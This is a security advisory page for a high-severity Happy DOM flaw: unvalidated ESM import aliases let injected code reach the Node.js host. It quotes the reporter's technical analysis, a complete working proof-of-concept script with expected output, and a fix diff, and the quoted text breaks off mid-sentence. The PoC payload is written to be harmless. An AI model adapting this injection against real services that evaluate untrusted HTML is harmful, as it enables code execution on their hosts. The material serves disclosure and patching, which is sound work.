---
id: "CVE-2026-115895"
kind: "vulnerability"
aliases: ["CVE-2026-115895", "GHSA-834v-8h66-3h79"]
title: "Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution"
severity: "high"
cvss: 8.8
epss: 0.00558
exploited: false
status: "open"
category: "package"
products: [{"name": "happy-dom", "fixed": ["21.0.4"], "affected": ">= 17.0.0, <= 21.0.3", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-94", "happy-dom", "node", "package", "scraping", "ssr", "testing"]
not_affected_if: ["default-config", "enablejavascriptevaluation-off", "happy-dom-16.x", "static-html-only"]
published_at: "2026-10-23T22:06:13+00:00"
first_seen_at: "2026-10-23T22:15:56+00:00"
updated_at: "2026-10-25T12:38:49+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-834v-8h66-3h79", "first_seen_at": "2026-10-23T22:15:56+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115895", "first_seen_at": "2026-10-23T23:44:51+00:00"}, {"source": "epss", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-115895", "first_seen_at": "2026-10-25T12:38:49+00:00"}]
---

# Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

Happy DOM's ESM compiler inserts unvalidated import aliases into generated JavaScript, so a malformed import declaration becomes executable code. An attacker who can supply module source to an app that evaluates JavaScript through Happy DOM can run code with the privileges of the Node.js host process.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:happy-dom affected >= 17.0.0, <= 21.0.3 fixed 21.0.4

## How to check

Run npm ls happy-dom in each project that uses it and check whether the version is in the affected range.
Check whether enableJavaScriptEvaluation is set to true in Window or settings.

## Fix

Upgrade happy-dom to 21.0.4 or later, per the advisory's fixed version.
If you cannot upgrade, disable enableJavaScriptEvaluation for untrusted HTML.

## Timeline

- 2026-10-23T22:15:56+00:00 ghsa https://github.com/advisories/GHSA-834v-8h66-3h79
- 2026-10-23T23:44:51+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-115895
- 2026-10-25T12:38:49+00:00 epss https://api.first.org/data/v1/epss?cve=CVE-2026-115895

## From the sources

## Summary

The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.

These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.

## Confirmed affected versions

The PoC was directly tested against:

- `happy-dom@17.0.0`
- `happy-dom@20.0.0`
- `happy-dom@20.1.0`
- `happy-dom@20.14.5`

The same PoC does not trigger on `happy-dom@16.8.1`.

The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.

Suggested affected range:

```text
>= 17.0.0, <= 20.14.5
```

No patched version is currently available.

## Preconditions

- JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`.
- Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.

## Technical details

In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias:

```ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}
```

Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

```ts
newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```

Consider the following source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.

Happy DOM instead transforms it into the equivalent of:

```js
let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```

This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.

The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

```ts
if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}
```

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

```js
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
```

## Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.

### 1. Create `package.json`

```json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
```

### 2. Create `dep.json`

```json
{}
```

### 3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

```js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

### 4. Create `poc.mjs`

```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
```

### 5. Run the control test

```console
npm install
node --check payload.mjs
```

Expected result:

```text
SyntaxError: Unexpected token '='
```

This confirms that the source is not valid ESM.

### 6. Run the Happy DOM PoC

```console
node poc.mjs
```

Expected result:

```text
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
```

The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a `node:24-alpine` Docker container, where it created:

```text
/poc/HAPPY_DOM_RCE_PROOF
```

## Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

## Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

```js
export { attacker_expression }
```

Its fix added identifier validation to the `importName` used by the `export { ... }` handler:

```ts
if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}
```

This report uses a different parsing and code-generation path:

```js
import { name as malicious_alias } from './module';
```

The unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`.

## Suggested fix

Validate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:

```diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
```

A regression test sho

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_